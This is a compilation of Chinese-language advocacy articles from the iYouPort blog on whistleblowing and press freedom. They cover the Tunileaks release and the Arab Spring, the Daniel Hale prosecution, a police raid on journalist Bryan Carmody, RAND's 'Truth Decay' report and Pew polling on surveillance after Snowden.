我还记得那次 Skype 对话的热情。我们知道，我们手中的东西，以及在 “云端” 的东西，即将改变突尼斯和其他地区的一切。这是很大的事。

我们在对话结束时，为每个人布置了任务，并为项目取了名字：Tunileaks。

Riadh Guerfali (又名 Astrubal)，是与我们一起创立 Nawaat 的法律教授和计算机科学家，将负责在一篇清晰易懂的文章中总结这些文件，并在我们的网站上公开发布的电报原件。Malek Khadhraoui 将负责调整格式、标记和分类的这些文件。Sofiane Guerfali 和我负责选择一个难以审查的平台来托管这些文件。我们还负责设计 Tunileaks 的logo、外观和感觉，最后负责策划传播战略。

Tunileaks 的发布截止日期是11月28日，也就是维基解密 “电报门” 发

布后的30分钟。这是整整一个月的工作和梦想，与一个腐败政权的秘密文件周旋，也可能与它的命运周旋。

与此同时，我与黎巴嫩《Al-Akhbar报》的朋友联系，并递交了阿拉伯国家的档案。我问他们是否可以公布这些电报。两天后，我的黎巴嫩朋友给我打电话说："这可能会要了我们的命，但我们已经加入了。我们将在《**Al-Akhbar**》的印刷版和网络版上发表围绕这些泄漏电报的报道"。

我对一家埃及报纸也做了同样的事，我的一些朋友在那里工作，有些是编辑，有些是记者和网络开发人员。他们做了他们能做的工作，但他们的管理层很害怕，拒绝写关于这些泄漏电报的报道。我还把其他的文件夹发给了我在另一个阿拉伯地区认识的活动家，他们也在做这些工作，最后把它们发布在他们的网站上。

后来我才意识到，我收到的档案库是一个"泄密中的泄密"。由于一些人不满意维基解密只与西方新闻机构（如《纽约时报》、《卫报》、《明镜》、《世界报》和《国家报》）合作的媒体战略，他们希望将发展中国家的媒体组织和公民媒体倡议纳入到发布电报门档案的行列。

我仍然不确定这种"泄密中的泄密"的成功是否对说服维基解密改变其媒体战略起到什么作用。但从 Stratfor 邮件泄露开始，我们注意到维基解密是如何与来自世界各地的**25**家媒体合作发布《全球情报档案》的，而 **nawaat.org** 就是这些新的官方合作伙伴之一。

「图」

在 Nawaat，我们最终在 Google Appspot 上发布。我们过去曾与一些中国活动家协调，在 **Appspot** 上运行一个中文博客平台，并对它很满意。

这就是我们所需要的：一个最低限度的CMS，一个安全的连接，共享几十个 Google IP 地址。我们已经知道突尼斯负责审查的警察会封杀域名 tunileaks.appspot.com，但为了封杀一个https网址，他们就需要封杀第一个 Google IP，然后是第二个，再是第三个，等等。在每个IP地址被禁之后，我们就要求我们在 Twitter 和 Facebook 上的数万名追随者更改他们电脑上主机文件中的IP地址，而不需要使用复杂的反封锁规避工具。

至此，突尼斯所有的 **Nawaat** 社交媒体账号都被封了：**Youtube**、

Twitter、**Facebook**、**Posterous**、**Vimeo**。但这是我们在过去十年的审查和反审查工作中掌握的有趣的猫鼠游戏，我们很清楚。最后，突尼斯封锁了整个谷歌 Appspot 和 AppEngine的IP，影响了其他谷歌服务。在突尼斯，这激起了普通互联网用户和企业的愤怒反应，没有特别的政治。这就是伊桑·祖克曼的可爱猫理论的最好体现！

【注：可爱猫理论是一种关于互联网行动的理论。假定大多数人对激进主义不感兴趣，取而代之的是，他们希望使用网络进行平凡的活动，包括浏览色情内容和 lolcats（“可爱的猫”）。人们为此开发的工具 —— 例如Facebook，Flickr，Blogger，Twitter和类似的平台 —— 对于社会运动活动家来说非常有用，这些活动家可能缺乏资源无法自行开发专用工具。反过来，与使用专用的动员平台相比，这使得激进主义者更容易受到政府的报复。而关闭一个流行的公共平台比关闭一个边缘化的平台更容易引起公众的强烈抗议。】

政府的审查来得太晚了。我们设法将这些电报以PDF格式在 Scribd 和其他几十个文件共享服务上传播、在洪流上传播，甚至最后以图片的形式出现在 Facebook 上，由 “懒惰主义者” 点赞和分享进一步得以传播。

突尼斯活动家们众包将最敏感的和丑闻的电报翻译成法语和阿拉伯语。这些译文由数百名游击队网络活动家和非活动家在线上和线下传播。

社交网络的交叉张贴机制加上通过光盘、U盘、和打印文件的手对手传播，速度之快、水平之高、分布之广，让当权者无法审查。这是一个完美的不可阻挡的基础设施，比任何**VPN**或**Tor**都要好。

我们已经明白，在社交媒体时代，封锁网站并不能封锁信息，这是本阿里那种政权从未明白的教训。该政权慌了。到了12月初，这个独裁政权辛辛苦苦封锁和控制的信息已经无处不在，滚起了雪球。从企业经理到卖菜的小贩，几乎每个人都听说过 Tunileaks。本·阿里丰富而复杂的宣传机器已经无法挽回它被玷污的形象。它正在崩溃。这只是短短几天的问题。

而在历史进程中日子是可数的。20天过去了，从2010年11月28日 Tunileaks 的发布开始，到2010年12月17日阿拉伯之春的开始。那一天，一个名叫穆罕默德·布阿齐齐的可怜的街头小贩自焚。

2013年，本·阿里的宣传部长 Oussama Romdhani 在与英国记者的聊天中坦言，**“Tunileaks 是 The coup de grâce——** 真正推翻本·阿里

体系的东西”。

不是关于腐败和任人唯亲的信息，突尼斯人不需要 Tunileaks 来告诉他们这个国家是如何腐败的。突尼斯人多年以来一直在闲聊和玩笑腐败的事情；不同的是，一个机构如此公开面对自己的丑陋形象，所产生的心理效应—— 是政府知道、所有的人都知道，不论是在国内还是国外，关于它是多么的腐败和专制；而这一次，讲述这个故事的人，并不是什么政治异议或政治阴谋家，它就是美国国务院， 一个所谓的盟友。

在 “阿拉伯之春” 开始前一周，黎巴嫩的 Al-Akhbar 网站被一个支持沙特政权的团体黑客攻击，以报复他们刊登有关泄漏电报的报道。随着革命精神的传播，一场DDoS攻击、黑客攻击、威胁和逮捕中东各地活动家的网络战争，也随之展开。这场战争的目标是维基解密电报中的信息以及所有刊载这些信息的平台、人员和基础设施。但是，尽管当权者非常努力地封锁信息， 也没有能阻止独裁政权开始瓦解，一个接一个。

但所有这一切有一个共同的起点， 那就是切尔·西曼宁，伊拉克沙漠里一个孤独的身影。她，像 **Julian Assange** 和 **Edward Snowden** 以及许多不著名的和匿名的透明度革命活动家们， 谱写着一个新的神话，没有任何监狱可以永远拘留他们。

为了争取一个透明公正和负责任的世界的战斗正在蔓延， 尽管所有的镇压和监视连绵不断。它是由一个世界性的运动进行的，说出真相，揭露秘密、腐败和侵犯人权的行为，切尔西·曼宁将是一个鼓舞人心的标志性人物，因为她的思想和梦想是自由的，虽然她的身体在牢房的墙壁后面。

在她被判处35年监禁后，切尔西·曼宁在声明中说：“有时你必须付出沉重的代价才能生活在一个自由的社会中”。我不知道她是否知道，她帮助了我们， 在这个世界的一部分， 推动了这个崇高的目标。

关上一扇牢房的门，给一个有自由思想的囚犯打开了一千零一扇自由社会的大门。〇

Chelsea Manning and the Arab Spring

原文

真相衰变：当民主病危、变革遥遥无期时，我们应该思考什么？ - iYouPort

关于真实的“媒体”-真相衰变透明度革命

我们了解这一难度，但我们不会畏惧

「图」

知情权即公民权，即民主的动力。因为公民只有在充分了解政权都干了什么的时候，才能做出正确的选择。撒谎是权力运作的基本模式，公民了解得越少、判断力越低下越容易被愚弄，权力被监督的程度就越低、异议就越少，政权就越能稳固。所以，是真相在决定我们能否享受民主，还是只能被威权。

如果您一直在阅读我们的文章会能有一个清晰的印象，即 我们一直在强调真相的强大力量，不论是透明度革命还是开源调查（OSINT）-推广挖掘真相的技术能力，同时，也为中国社会的真相淡漠之现状深深惋惜。

但这种状况 — 即 大众甚至决策者无视事实的盲目和荒诞 — 并非中国所特有，在很多民主国家也是如此，并且后者所带来的灾难格外令人焦虑。

威权社会对真相失去兴趣的结果是丧失变革的机会，“帮助”独裁政府稳固了权力；而民主社会无视真相的结果是直接导致民主的衰落，威权崛起。

为什么会这样？兰德公司最近提交的一份报告详细分析了在美国发生的这种状况，被称之为“真相衰变”。这是什么意思？是什么导致的真相衰变？这是新事物吗？它的后果是什么？然后呢？我们还可以怎么办。

您可以在这里看到这份报告的原版（长达326页）。本文将提取其主体框架，并结合中国的现实，做出一些思考。

在过去二十年中，美国的国家政治和民间话语的整体特点可以说就是“真相衰变”，这一概念被定义为一组四个相互关联的趋势：#对事实和事实的数据分析性解释日益增加的分歧;

- 意见与事实之间界限的模糊化;
- 意见和个人经验对事实的认识产生越来越多的影响;
- 对曾经受尊重的事实信息来源的信任明显下降。

1. 人类认知加工的特征，如认知偏差等;

- 全球信息系统的变化，包括社交媒体的流行和 24 小时新闻周期;
- 对教育系统的竞争要求减少了社会在媒体素养和批判性思维上花费的时间;
- 极化问题，无论是政治还是社会人口。

1. 民间话语的侵蚀；

- 联邦和州一级的政治瘫痪；
- 个人脱离政治和公民生活；
- 国家政策的不确定性。

1. 更仔细地检查真相衰变过去在国内外的表现，提出可以帮助对抗真相衰变的课程；

- 进一步探索真相衰变趋势，包括媒体内容如何随时间变化、信息流的速度和性质发展的方式，教育系统及其课程的发展，两极分化和政治僵局的方式等领域（有或没有）恶化，民事话语和政治参与的侵蚀，以及政策不确定性的恶化。
- 调查应有将真相衰变与信息传播、处理和消费联系起来的过程和机制; 机构、当局和中介机构; 两极分化，参与和话语; 技术进步带来的好处以及挑战。还应探索作为媒介效应，即互联系统特征的真相衰变。
- 最后，开发和评估对真相衰变引起的问题的潜在解决方案和缓解措施。优先领域应该包括教育干预; 改善信息市场; 机构发展和重建; 弥合社会分歧; 利用新技术; 行为经济学、心理学和认知科学; 以及组织自我评估。

对于从基础层面就不具备足够的批判性思考教育经历的中国社会来说，解决这一问题的难度将意味着有可能需要超长的时间和更为艰辛的过程。公民社会和调查性新闻媒体的发展对此有着决定性作用，这

就是为什么我们专注于 #OSINT 技术的推广。我们了解这一难度，但我们不会畏惧。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

继续杀死透明度革命 ——当局如何得知Tor使用者的身份？ - iYouPort

透明度革命

这一次，当局是如何破解了加密通信和Tor？我们对此很好奇

「图」

「图」

显然，政府对惩罚人民的兴趣远高于对自己的错误进行反思和修正的兴趣。司法部正在起诉另一位举报人。

空军和国家安全局的一名前语言分析师被指控泄露文件，这些文件"详细说明了政府无人机暗杀计划"影响。文件是泄露给独立媒体 intercept 的。

31岁的 David Hale 是最近遭到司法部起诉的举报人。

新闻自由基金会（Freedom of the Press Foundation）评论指，此案使得特朗普政府成为了使用所谓的“间谍罪”起诉记者之消息来源的最大黑手。

特朗普的司法部已经逮捕并指控前情报分析师 *Daniel Everette Hale* 因涉嫌与记者分享所谓的“国家安全信息”。

在执政两年多的时间里，*Hale* 至少是被特朗普政府指控的第六个新闻来源！

司法部此前曾表示//正在进行//"//数十//"个“泄密调查”……

指控称：Hale 交给独立媒体 The Intercept 的文件为该网站的多部分“无人机暗杀报告”提供了基础。在这里看到*无人机暗杀报告*，非常惊人的揭露。

⚠这些无人机文件揭露了政府的"法外、域外杀戮"计划惊人的广度。

这包括在也门和索马里开展的行动，尽管不同地区在情报和监视方面存在长期差距，但是，在有针对性的杀戮方面，都是一样的。

在这里看到两份早期的报告，关于直接的暗杀计划《中东君主制如何雇佣美国战士以杀死其政敌?—这大概就是战争未来的样子》；关于间接的暗杀计划（仅举一例）《雄厚的财力，深藏不露：美国间谍如何协助专制国家构建一个间谍帝国》。这两份报告将责任人集中在“独立个人和团体”身上，显然是不完整的 —— **Hale** 揭露的真相则显示，暗杀是*正规任务*。

⚠并且，这些文件还显示军方将无人机袭击的所谓附带损害 —— 也就是杀死老百姓 —— 称为“在行动中遇害的敌人”，并未核实每个死者是否真的是战斗人员。（“附带伤害”是对平民死亡的常规辩词）

Hale 的案例在被起诉的所有举报人中并不常见，因为对他的调查是更公开的方式推出的，相比大多数被起诉者。显然，这里面存在杀鸡的预期。

Hale 出现在无人机战争纪录片“National Bird”中，他在其中讨论了他是多么的不情愿参加当局的情报收集活动，这些情报是无人机空袭的根据，他还谈到了他从事情报工作的风险。

⚠此处提请中国的独立纪录片制作者注意，在揭露真相的过程中一定要时刻注意保护信息来源的人身安全 —— 如果必须采访，不仅要做到脸部遮盖，而且要注意声纹编辑。

Hale 的经历并没有太特殊。⚠在**2014**年该纪录片拍摄的期间，他的家遭到 **FBI** 的袭击。

根据起诉书[PDF]，Hale 打印并删除了绝密文件，这些文件始于2013年初 —— 注意这个时间，此时是第一次 **Snowden** 泄密之前的几个月。

也就是说，Hale 比斯诺登更早。

起诉书的时间表似乎是正确的。在关于斯诺登首次与调查记者 Glenn Greenwald 会面的纪录片 “Citizenfour（第四公民）” 中，Greenwald 讨论了另一种泄漏源，最有可能是 Hale。

在这里看到这部纪录片：https://vimeo.com/ondemand/citizen4

×「MEDIA」@https://web.archive.org

在纪录片“*Citizenfour*”结束时，*Intercept* 创始 *Glenn Greenwald* 告诉斯诺登，*Intercept* 有一个关于美国无人机计划的新机密信息来源。

“这对于消息来源来说真的很危险，”斯诺登说，“那个人非常大胆……他们知道如何保护自己吗？”

Glenn Greenwald 向他保证“他们会非常小心的。”

显然是不够小心。

请注意 ⚠这份起诉书提到了加密通信和 **Tor** 的可能用途，但是，似乎并没有阻止政府访问 **Hale** 发送给其他人的有关泄露文件的文本和聊天记录。

关于当局有可能如何识别 **Tor** 使用者的身份，详见《真的安全吗？那么他们是怎么抓人的？——洋葱头会让谁流泪（三）》并且必需谨记《使用 **Tor** 保护自己时千万不要做这九件事！》

我们希望能弄清楚，当局是如何在 Tor 中挖到举报人真实身份的。

根据起诉书，Hale 总共面临五项与所谓的“间谍”相关的指控。令人感到意外并沮丧的是，这份起诉书到达的时间居然这么长……

⚠联邦调查局的袭击发生在将近五年前（2014年8月），但是，起诉书直到今年3月才提出。差不多相隔了近五年了，现在 Hale 陷入了困境，等待司法部的下一步行动。

Hale 所暴露的是一项计划，该计划允许美国仅仅根据收集的情报而不是法庭起诉在世界各地实施暗杀。简曰：法外杀戮。

政府一直在尝试无人机杀人，自从乔治·W·布什总统任期以来，每界政府都在暗杀领域不断持续升级。

勇敢的举报人提供给我们的是政府从未希望我们拥有的信息。

政府希望将这些事实永远保密 —— 主要是因为政府知道公众肯定不会全心全意地支持在世界各地杀人。

Hale 不是罪犯。他是举报人，是说真话的人。但政府只针对举报人，政府是在以此来避免其他人继续说真话。

US Government Rings Up Another Whistleblower On Espionage Charges 广告

原文

被警方突袭之后... - iYouPort

透明度革命

保护信息来源的人身安全是每一位从事真相揭露工作的人的天职；新闻自由不仅保护在职记者，并同时保护所有从事新闻工作的人—即揭露真相的人。请注意文末的解释。

「图」

「图」

一名独立记者发誓要保护他的消息来源 —— 旧金山警方突击搜查他的家和办公室，同时将他戴上手铐关押了数小时，作为所谓的刑事调查的一部分。

Bryan Carmody 告诉“洛杉矶时报”，警方周五敲门，⚠并没收了数十件他的个人物品，包括笔记本电脑、手机、台式电脑、移动硬盘和相机。

请注意，被警方没收的电子设备即便此后归还也需要格外警惕，因为很可能有危险；如果您舍不得丢弃设备，请找到这篇文章中介绍的方法获得帮助《我的设备好像被黑了怎么办？—— 给敏感人士和小白朋友的数字急救包》

一名法官签署了搜查令，上面写着警方以调查“被盗或被盗”的财产为由闯入他的家。

当局说，这次突袭是为了调查“泄密者” —— 关于是谁泄露了一份关于2月22日旧金山公共辩护人 Jeff Adachi 去世的机密警方报告。

Carmody 说，警方调查人员几个星期前曾要求他说出向他提供信息的人是谁。这位记者说他礼貌地拒绝了。

时报报道，当他被抓捕时，警察获得了第二张手令，即 可以搜查他的新闻编辑室。警方在那里查获了一个拇指驱动器、CD、并在保险柜内

找到了被泄露的死亡报告。（他们甚至打开了保险柜！）

49岁的 Carmody 说，他没有与任何人分享他的消息来源的名字，并且该文件上的任何标记都不能追溯到提供该文件的人的真实身份 —— 做的非常漂亮。

对于 Carmody 和他的律师来说，警方的袭击严重侵犯了专业记者的工作。

“这是为了恐吓，”他的律师 Thomas Burke 说。“这基本上是扫荡新闻编辑室。”

与此同时，这一事件为 Adachi 的意外死亡之真相提供了新的转折 —— 死者 **Adachi** 留下了支持民权的遗产。

初步报道说，这位59岁的当选公设辩护人“在旅行中突发心脏病而死亡”。

但是，Carmody 说，在试图找出 Adachi 死亡的确切信息时，开始出现了很难以确认的色情细节。

“泄密发生在所有地方，”他回忆说。他最终获得了一份事故报告，详细说明了 Adachi 死前的最后时刻。

旧金山纪事报还获得了该报告的副本，但未获得 Carmody 持有的副本。

据旧金山 KGO-TV 报道，这份文件详细说明，在 Adachi 去世前不久，他在与一位名叫“卡特琳娜”的女士共进晚餐，这名女士不是他的妻子，然后 Adachi 回到他安排在周末使用的公寓。

就是这名女士打电话给911寻求紧急医疗救助的，而 Adachi 被送往医院时已经去世了。

旧金山纪事报报道，当晚晚些时候，警察前往公寓，发现了“酒精、大麻注入的胶囊和注射器，据信已被医护人员使用过”。公寓的照片由 KTVU-TV 和其他新闻媒体在线传播。

Carmody 告诉“纪事报”，他将 Adachi 的新闻给了三家电视台。

市政府官员批评警方没能阻止机密报告的细节最终成为头条新闻。

然后就是警方对该报告的泄漏进行了内部调查，导致周五袭击了 Carmody 的家。

“旧金山市的领导人要求对这一泄漏进行彻底的调查，这一行动是调查潜在的妨碍司法案件以及非法分发机密警察材料的过程中的一部分”，警方发言人 David Stevenson 在致纽约时报的一份声明中表示。

警方用来突袭 Carmody 住所的宣誓书是在密封状态下提交的，因此不清楚调查人员是怎么对法官讲述的理由。

Carmody 坚持要保护信息来源的身份。而且他发誓他从来没有为泄密信息付钱。 他告诉“纽约时报”，“没有任何支付，甚至连一杯咖啡都没有。”

注：本文提醒几件事 —— 关于透明度革命的须知，事实上我们已经在很久前的同名系列文章和“为自由而战”系列中有过详细解释。

1、迅速有效地分发。美国史上最著名的举报人—五角大楼文件提供者 Daniel Ellsberg 最早采取了这一措施。

Ellsberg 很聪明，他预料到了政府会封锁新闻，他提前准备了很多副本，迅速分发给各大媒体组织。但是政府不断围堵媒体，第一个就压制了华盛顿邮报的刊发。华盛顿邮报怂了。

而 Ellsberg 没有停止，他继续将副本发给波士顿环球报、洛杉矶时报、基督教科学箴言报、圣路易斯邮报……等等媒体，这种无止境的打地鼠游戏直接令白宫陷入了混乱，最终当局放弃了对出版的阻止。

这也是为什么 Wikileaks 当年要和大型媒体合作（虽然那些大型媒体在赚够了钱之后就站到了当局一边抹黑 Wikileaks），因为这样才能有利于信息被迅速传播 —— 抢在被当局封堵之前。想想看，如何是一家生存艰难的独立媒体，即便报道了这一重要消息，就如本文中 Carmody 的状况，只要警方突袭大扫荡，一切都会结束。

2、不论发生任何事，切勿透露泄密者的任何信息。这点非常关键，而不仅仅是一两个人的人身安全问题、以及记者的天职问题，更有，万一举报人被你当局抓住，将产生严重的寒蝉效应，甚至断送透明度革命的前景。

更直接的是断送了记者本身的信誉 —— 如果你曾经将你的信息来源“送入”监狱，今后就没有任何举报人会选择与你合作了。

Wikileaks 是最可靠的渠道，不仅因为他们具备比洋葱更安全的投递渠道，并且，他们从来没有泄漏过任何举报人的任何信息。即便是在遭受了史上最大规模的人格暗杀之后。

在这里看到人格暗杀有多可怕。

记者始终在明，举报人必须在暗；于是记者应该有一套保护自己的有效方法，这取决于您对风险的准确评估。

3、被警方没收的电子设备不可直接使用。如上所述（文章），这种情况也有解决方案，并不需要您自己掌握很多技术技能，而是需要您知道该与谁合作以减轻或消除危险。

San Francisco Journalist Vows to Protect Source After Police Raid

广告

原文

调查数据：斯诺登改变了多少？终结老大哥有多难？ - iYouPort

互联网自由-Resist透明度革命

最可怕的并不是死亡。而是即便你放弃优越的生活、甚至舍弃生命安全去选择捍卫正义，结果却是因不被理解，而难以达成改变现实的目的。曾经有中国的“勇敢者”说出这样的话，“我不怕危险，怕的是社会的麻木让我不值得冒险”。但这是真的吗？

「图」

「图」

Glenn 说过很多事，其中最令我感觉印象深刻的是他对 Snowden 的采访中的一句话。当时 Snowden 坚持要公开自己的身份，以防止当局以妖魔化知情人的手段拉低真相的影响力。抹黑检举者是最常用的手段，比如把他说成“多变和幼稚”，甚至怀疑他的精神心理状况，就像你知道的那样，从而让当权者抢走更多解释权，以继续愚弄公众。这就是为什么 Snowden 要坚持实名曝光自己，也就是相当于将所有枪口拉向自己。

这是在送死。Glenn 问 Snowden，你最担心的是什么？如果不是生命安危的话。Snowden 说，最担心的是公众的反应，担心公众的不理解和冷漠。如果自己放弃了一切为了揭示真相也无法让公众觉醒以捍卫人权、推动变革，那么包括生命在内的所有冒险将变得毫无价值。

五年很快就过去了。当我们再一次回顾这五年中真相对现实究竟带来了哪些促进作用的时候，依旧抱着某种一言难尽的心情，这恰恰是 Snowden 曾经担心的东西。但是改变还是鲜明的，调查显示已经有更多人开始在乎隐私问题，以及对监视资本主义有了更多的了解。

虽然这还远远不够，大规模收集仍在继续，情报机构仍然大言不惭地宣称“我们想要更多”，监视技术的能力还在飞速前进，更多的当权者

开始效仿美国的棱镜计划对其公民实施侵入性监视，更多的资本注入，监视技术公司疯狂地竞争老大哥的地位。

但与此同时，公民社会也在快速跟上进度，通过不断的揭露、问责和动员社会参与，以及保护性技术的开发和普及，推动社会变革，侵犯和反侵犯的斗争一直在持续。这是 Snowden 和所有支持者能看到希望的所在。

然而中国呢？如果中国人中诞生了这样的勇气，其结果会是什么？当作为“民主派前辈”的人们模仿当权者的措辞斥责 Snowden“危害国家安全”时，你很难继续说服自己这其中存在希望。

但不可否认，中国的改变已经出现，有更多的人开始认识到隐私权的重要性，尤其是年轻人，熟悉技术、擅长利用技术以捍卫自己的权利，他们将为变革带来瞩目的动力—— 在美国也明显如此。虽然目前还很难带动老一代“民主派”人士加入到技术性反抗的队伍中来。

我们推荐中国社会以美国社会为榜样，学习美国社会积极人士的反抗精神和清晰的认知能力，学习公民社会的专业性。这需要一个过程，美国也是经历了明显的过渡才走到今天的，毕竟当权者对“现实”的垄断是非常强大的。其前提是我们应该抱有希望，一直努力下去。战胜大众的认知失调在任何国家都不是一件容易的事。

我们一直在支持打破意识形态隔膜，基于人权本身的反抗，这将是联合的促进力。

来看看美国的民调，可以清楚的看到这一改变的发生，以及它的缓慢。这是来自皮尤调查中心的数据：

1、美国人在斯诺登披露后的立即调查显示，美国社会对泄密的影响的认识存在明显分歧，当时甚至大多数人表示“政府应起诉泄密者”。根据皮尤研究中心在斯诺登泄密后几天里进行的一项调查显示，大约一半的美国人（49%）表示，发布的机密信息符合公众利益，而44%的人则表示这“损害了公众利益”。

调查显示年龄小于**30**岁的成年人比年长的美国人更有可能认为泄密符合公众利益（**60**%），而且这些观点中没有任何党派意识形态特征。

与此同时，54% 的公众表示政府应该对泄密者提起刑事诉讼，共和党人和民主党人（各占 59%）比独立人士（48%）更高。结果斯诺登于2013年6月（两个月后）被指控“从事间谍活动”。没有任何国家

愿意接受他的避难申请，他在机场被困了一个月，最终逃难到俄罗斯。

2、美国人在接下来的几个月里对政府监视计划本身的反对程度有所提高，甚至在此之后—美国总统巴拉克•奥巴马（Barack Obama）概述了国家安全局数据收集的“变化”之后，不赞成政府收集电话和互联网数据的美国人的比例从首次调查后的 **47**％ 增加到次年**1**月的 **53**％。

皮尤调查中心的其他研究也表明，大多数成年人（56％）并不认为法院对电话和互联网数据的收集提供了足够的限制。这是正确的。事实证明即便有立法限制也无法解决大规模监视的问题。因为国安部门经常会拉拢其他机构，以便能对其所作所为大开绿灯—— 就如在美国众所周知的，国会的情报委员会已经被国安部门拿下，力挺监控。

但立法改变至少能推动这样的原则，即 不加区别的大规模监视在隐私受到宪法保护的民主国家没有立足之地。

此外调查显示，70％ 的美国人认为政府正在将监视数据用于所谓的反恐以外的目的。大约27％ 的人表示，他们认为政府窃听了实际内容的电话通话、阅读了他们私人邮件。（2017 年调查中也出现了近似的数据）

3、政府监控的披露也促使一些美国人改变了他们使用技术的方式。在皮尤调查中心 2014 年底和 2015 年初的一项调查中，87％ 的美国人表示他们至少听说过有关政府监控计划的事。在听过这些消息的人中，有 25％ 的人表示，自斯诺登揭露以来，他们已经“大量”或“稍微”改变了他们的技术使用模式。

在另一个问题上，34％ 知道政府监控计划的人表示，他们至少采取了进一步措施来隐藏或屏蔽政府的窥视，例如改变在社交媒体上的隐私设置。

「图」

「图」

4、根据 2014～15 年的调查，美国人普遍认为政府可以监控某些人，但肯定不是全体美国公民。大约八成的成年人（82％）表示，政府可以监控“恐怖分子嫌疑人”的通讯，同等，多数人表示，监控美国领导人和外国领导人的沟通是可以接受的（各占 60％）。同时，

57% 的美国人表示政府监控美国公民的通信是不可接受的。

「图」

「图」

5、大约一半的美国人（52%）表示担心 2014 年和 2015 年的监控计划，但他们对监控自己数据的担忧更多。大约四分之一的人表示，他们对政府监控他们在搜索引擎、电子邮件和手机上的活动的行为有些担心或非常担心。大约三分之一的受访者表示对监控他们在社交媒体和移动应用上的活动表示同样的担忧。

6、绝大大多数美国人（93%）表示，谁可以得到并控制他们的相关信息，是很重要的，根据2015 年的报告。与此同时，一个同样大的部分群体（90%）表示，控制收集有关他们的什么样的信息是非常重要的。

然而，很少有美国人认为他们自己对日常生活中的信息收集有很多控制权。只有 9% 的美国人表示他们对收集的有关他们的信息有很多控制权。在之前的调查中，**91**% 的人同意消费者已经失去了对公司数据收集和使用个人信息的控制权的说法。

7、大约 49% 的人在 2016 年表示，他们对联邦政府保护数据的能力没有信心。大约三分之一的美国人（28%）对政府保护个人记录的能力完全没有信心，而 21% 的人不太相信。只有 12% 的美国人对政府保护数据的能力“非常有信心”（49% 的人表示至少有一点信心）。

美国人对其他机构（如手机制造商和信用卡公司）在保护他们的数据方面相比下更有信心。大约七分之一的手机用户非常有信心（27%），有些（43%）的用户对手机制造商可以保证其个人信息安全有一点信心。同样，大约三分之二的在线成年人非常（20%）或有些（46%）确信电子邮件提供商会保证他们的信息安全。

「图」

「图」

「图」

「图」

8、大约有一半的美国人（49%）表示他们的个人数据的安全性与前

五年（不知道棱镜计划之前）相比更低，根据 2016 年的调查。**50** 岁及以上的美国人特别担心他们的数据安全性：58% 的美国老年人表示他们的数据不如五年前安全。年轻的成年人不太担心他们的数据不那么安全（技术能力较强，可以更好的保护自己的隐私）；不过仍然有 41% 的 18 至 49 岁的人认为他们的个人信息不如五年前那么安全。

「图」

「图」

Snowden 的揭露所产生的国际影响要大于其国内影响，因为“棱镜计划”是监视全球的，而不仅仅限于美国。此举令全世界的目光都集中在了无处不在的政府监控和对恶行“机密”化处理的普遍性上；Snowden 的揭露引发了全球范围内关于数字时代个人隐私问题的深刻讨论，对互联网霸权统治提出了挑战；改变了国与国之间的关系，极大程度上影响了人们对新闻工作者应该与政府权力之间如何较力的更为明确的认识。

联合国大会通过不记名投票对德国和巴西所提出的决议予以支持，确认在线隐私属于基本人权。

所有这一切也并未说明这场硬仗已经以胜利告终。国安部门有着异乎寻常的势力，他们手中的权力甚至会超过人民选举出的最高官员；他们还有着大量的极富影响力的忠实簇拥，愿意以一切代价捍卫国安部门的利益。这其中包括联邦法官—— 斯诺登泄密后一位联邦法官利用人们对“911”的记忆宣称“国安局监控项目在宪法中应另当别论”。

还有些美国高管甚至认为不仅 Snowden 应该被指控，包括普利策奖得主 Glenn Greenwald 在内的协助 Snowden 曝光文件的几位新闻记者“也应当被起诉，被扔进监狱”。

奥巴马政府对说出真相的人的打击力度超过了美国以往各届政府的总和，希望以制造紧张气氛的方式，吓倒任何想说真话的人。随着监视技术的快速进化，政府当局对“机密”的保护能力将比以前更加强大，曝光不再容易；加之对正义的揭露者的惩罚不断出现、并被宣传，寒蝉效应已经铺开。这也是为什么说 Snowden 的启示应该发挥更大的效用，形成真正的彻底的变革，不仅是在美国，而是在全球，重新认识这个互联网。

决定我们希望生存于什么样的世界的人应该是人类整体，而不是极少

数暗中行事的精英人物。推进人们理性思考和决策的能力，这才是透明度革命、活动家和时政工作者的真实意图所在。我们相信变革终将能成为现实，因为我们不会放弃努力。〇

原文

超越透明度革命 - iYouPort

透明度革命

「图」

- 这篇文章再次强调了 ***IYP*** 在一年多前答读者问中对透明度革命的反思和担忧：中国难以实现透明度革命触发的变革，并非源于缺乏具有勇气智慧和技能的英雄举报人，而是，缺少透明度革命最重要中一个步骤，它是什么样的？

「图」

「图」

Jesselyn Radack, Thomas Drake, Chelsea Manning, Edward Snowden — — 这些来自权力大厅内部的举报人警告我们所有人关于权力被滥用的方式，就如普罗米修斯的圣火向人们传递被当权者禁止的信息。

但是，仅仅是举报人能拯救我们吗？仅仅举报就足够了吗？基于举报的社会变革战略中缺少了什么，以及超越透明度革命还需要做些什么？

这篇文章再次强调了 IYP 在一年多前答读者问中对透明度革命的反思和担忧：中国难以实现透明度革命触发的变革，并非源于缺乏具有勇气智慧和技能的英雄举报人，而是，缺少透明度革命最重要中一个步骤：即 行动主义的智慧和识别机遇的能力。

当然，举报揭露是有充分理由的而且是极其重要的，只有当内部知情人说出真相时，局外人才能获得清醒。

然而，揭露暴君是一回事 — — 废除它们是另一回事。

Snowden 曾经亲口说过：“我最害怕的是……没有任何改变。人们会在媒体上看到所有这些披露，他们将知道政府如何单方面授予自己无限的权力，以便更深入地控制美国社会和全球社会。但是人们不愿意

承担站起来与之战斗所必需的风险。“

透明度革命中隐含的社会变革理论是，政府的罪行一旦被揭露，民众的愤怒将迫使政府做出改变。Snowden 说，“我相信只要美国国家安全局对美国人进行违宪的大规模监视被揭露，它无法在法院、国会和人民的审查中存活下来”。然而，斯诺登最大的恐惧已经成为现实：限制国家安全局监控计划的改革"已被挫败"。

斯诺登和其他透明度革命战士成功地揭穿了政府的阴谋，但并未阻止奥威尔国家的扩张。他们让我们所有人知道统治者是如何侵入性和不负责任的，但他们没有警告我们必须反击。

透明度革命是以民主语话为前提的：如果人们足够了解，他们就可以“向权力讲真话”，而这种言论本身也会以某种方式催化变革。 当然，这假定了一种基于对话的政治制度。

但这是非常理想化的。建立这种监视基础设施的部门 — — 现在试图通过强制力而不是说服性的论证，将斯诺登与切尔西曼宁一起监禁。这足够证明，仅仅说真话是不够的 — — 我们不是在对话，而是处在权力斗争中。

